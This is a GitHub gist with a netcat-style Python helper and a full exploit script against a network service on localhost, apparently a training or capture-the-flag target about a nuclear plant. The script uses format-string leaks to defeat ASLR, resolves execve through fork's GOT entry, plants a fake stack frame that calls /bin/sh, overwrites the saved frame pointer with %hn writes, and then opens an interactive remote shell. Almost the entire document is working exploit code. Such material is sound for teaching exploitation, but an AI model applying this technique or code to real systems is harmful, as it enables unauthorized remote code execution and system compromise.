Created
April 6, 2013 17:10
-
-
Save vanhoefm/5326833 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -------------- netcatlib.py ----------------------------------- | |
import socket | |
class Netcat: | |
# TODO: ip and port should be optionaly, and an open() method should be added | |
# TODO: specify a timeout argument as well? | |
def __init__(self, ip, port): | |
self.buff = "" | |
self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self.soc.connect((ip, port)) | |
def read_until(self, data): | |
# Remark that by default sockets are in blocking mode, | |
# waiting until *some* data has arrived. | |
while not data in self.buff: | |
self.buff += self.soc.recv(1024) | |
pos = self.buff.find(data) | |
rval = self.buff[:pos + len(data)] | |
self.buff = self.buff[pos + len(data):] | |
return rval | |
def write(self, data): | |
self.soc.send(data) | |
# -------------- exploit.py ------------------------------------- | |
import netcatlib | |
def dword_to_bitstring(number): | |
bitstring = "" | |
for i in range(4): | |
bitstring += chr(number % 256) | |
number /= 256 | |
return bitstring | |
def bitstring_to_dword(bitstring): | |
number = 0 | |
for i in range(3,-1,-1): | |
number = (number * 256) + ord(bitstring[i]) | |
return number | |
# Step 0 --- Connect to the target | |
nc = netcatlib.Netcat("localhost", 4444) | |
print "[+] Connected" | |
# Step 1a --- Defeating ASLR with information leakage: location of stack | |
INFOLEAK = "%10$p:ENDEBP:%11$p:ENDRET:" | |
nc.read_until("Your choice: ") | |
nc.write("1" + "\n") | |
nc.read_until("Insert name: ") | |
nc.write(INFOLEAK + "A"*(100 - len(INFOLEAK)) + "\x01\x01"*4 + "\xFF\xFF" + "\n") | |
nc.read_until("Uranium in nuclear plant \"") | |
ebp = int(nc.read_until(":ENDEBP:")[:-8], 16) | |
print "[+] Saved frame pointer :", hex(ebp) | |
location_ebp = ebp - 0x440 | |
# location ebp : 0xbfffda28 | |
# location ebp in printf: 0xbfffd9f8 | |
location_ebp_printf = location_ebp - 0x30 | |
location_payload = ebp + 0x20 + 10*112 | |
print " > Location saved fp :", hex(location_ebp) | |
print " > Location fp in printf :", hex(location_ebp_printf) | |
print " > Location of 1st payload :", hex(location_payload) | |
# Step 1b --- Defeating ASLR with information leakage: location of code | |
ret = int(nc.read_until(":ENDRET:")[:-8], 16) | |
print "[+] Return address :", hex(ret) | |
# return address: 0x080491ce | |
# GOT entry of fork: 0x804c05c | |
location_got_fork = ret + 0x2E8E | |
print " > Location of fork in GOT :", hex(location_got_fork) | |
# Step 1c--- Get the address of execve | |
# FIXME: We assume there are no zeros in the address, otherwise we also | |
# can't construct our payload. | |
LEAKFORKADDR = dword_to_bitstring(location_got_fork) | |
LEAKFORKADDR += "%22$s:ENFORK:" | |
nc.read_until("Your choice: ") | |
nc.write("1" + "\n") | |
nc.read_until("Insert name: ") | |
nc.write(LEAKFORKADDR + "A"*(100 - len(LEAKFORKADDR)) + "\x01\x01"*4 + "\xFF\xFF" + "\n") | |
nc.read_until("Uranium in nuclear plant \"") | |
addrfork = bitstring_to_dword(nc.read_until(":ENFORK:")[4:-8]) | |
print "[+] Address of fork :", hex(addrfork) | |
# fork: 0xb7f0c970 | |
# execve: 0xb7f0cc90 | |
addrexecve = addrfork + 0x320 | |
print " > Address of execve :", hex(addrexecve) | |
# Step 2 --- Payload: place the constructed stack which we will execute subsequently | |
# ---- STACK LAYOUT ---- | |
# | |
# address of execve OK no zeros | |
# + 4 fake return address | |
# + 8 pointer to "/bin/sh" ZEROS? | |
# +12 pointer to argv | |
# +16 pointer to envp | |
# +20 ASCII "/bin/shA" | |
# +28 NULL | |
PAYLOAD = dword_to_bitstring(addrexecve) | |
PAYLOAD += "AAAA" | |
PAYLOAD += dword_to_bitstring(location_payload + 20) | |
PAYLOAD += dword_to_bitstring(location_payload + 28) | |
PAYLOAD += dword_to_bitstring(location_payload + 28) | |
PAYLOAD += "/bin/sh" | |
nc.read_until("Your choice: ") | |
nc.write("1" + "\n") | |
nc.read_until("Insert name: ") | |
nc.write(PAYLOAD + "\n") | |
print "[+] Payload has been stored :", repr(PAYLOAD), "of length", len(PAYLOAD) | |
# Step 3 --- Exploit: trigger the payload so we get a nice shell | |
# We will overwrite the saved ebp value so it points to our constructed payload | |
# ---- FROMAT STRING LAYOUT ---- | |
# | |
# addr of HO part saved ebp -> ebp - 0x440 + 2 | |
# addr of LO part saved ebp -> ebp - 0x440 | |
# H.O. of location_payload | |
# %X$hn -> overwrite H.O. part | |
# L.O. of location_payload - L.O. of location_payload | |
# %X$hn -> overwrite L.O. part | |
# minus 4 because leave does "mov %ebp, %esp" and then "pop %ebp" | |
target_ebp_value = location_payload - 4 | |
ebp_ho_count = ((target_ebp_value >> 16) % 0x10000) | |
ebp_lo_count = (target_ebp_value % 0x10000) | |
EXPLOIT = dword_to_bitstring(location_ebp_printf + 2) | |
EXPLOIT += dword_to_bitstring(location_ebp_printf) | |
if ebp_ho_count < ebp_lo_count: | |
# 8 characters already printed by two addresses above | |
EXPLOIT += "%" + str(ebp_ho_count - 8) + "x" | |
EXPLOIT += "%22$hn" | |
# minus ho_count because those are already printed | |
EXPLOIT += "%" + str(ebp_lo_count - ebp_ho_count) + "x" | |
EXPLOIT += "%23$hn" | |
else: | |
# 8 characters already printed by two addresses above | |
EXPLOIT += "%" + str(ebp_lo_count - 8) + "x" | |
EXPLOIT += "%23$hn" | |
# minus ho_count because those are already printed | |
EXPLOIT += "%" + str(ebp_ho_count - ebp_lo_count) + "x" | |
EXPLOIT += "%22$hn" | |
print "[+] Triggering payload with :", repr(EXPLOIT), "having length", len(EXPLOIT) | |
nc.read_until("Your choice: ") | |
nc.write("1" + "\n") | |
nc.read_until("Insert name: ") | |
nc.write(EXPLOIT + "A"*(100 - len(EXPLOIT)) + "\x01\x01"*4 + "\xFF\xFF" + "\n") | |
nc.read_until("Uranium in nuclear plant \"") | |
# Step 4 --- Test whether we've got our shell and let the magic happen | |
nc.write("echo \"GOT A SHELL\"\n") | |
nc.read_until("GOT A SHELL\n") | |
print "\nSUCCESS! We have a shell!\n" | |
while True: | |
command = raw_input("$ ") | |
nc.write(command + "\n") | |
# quick and dirty way to detect end of output | |
nc.write("echo \":ENDOFOUTPUT:\"\n") | |
print nc.read_until(":ENDOFOUTPUT:\n")[:-14], | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment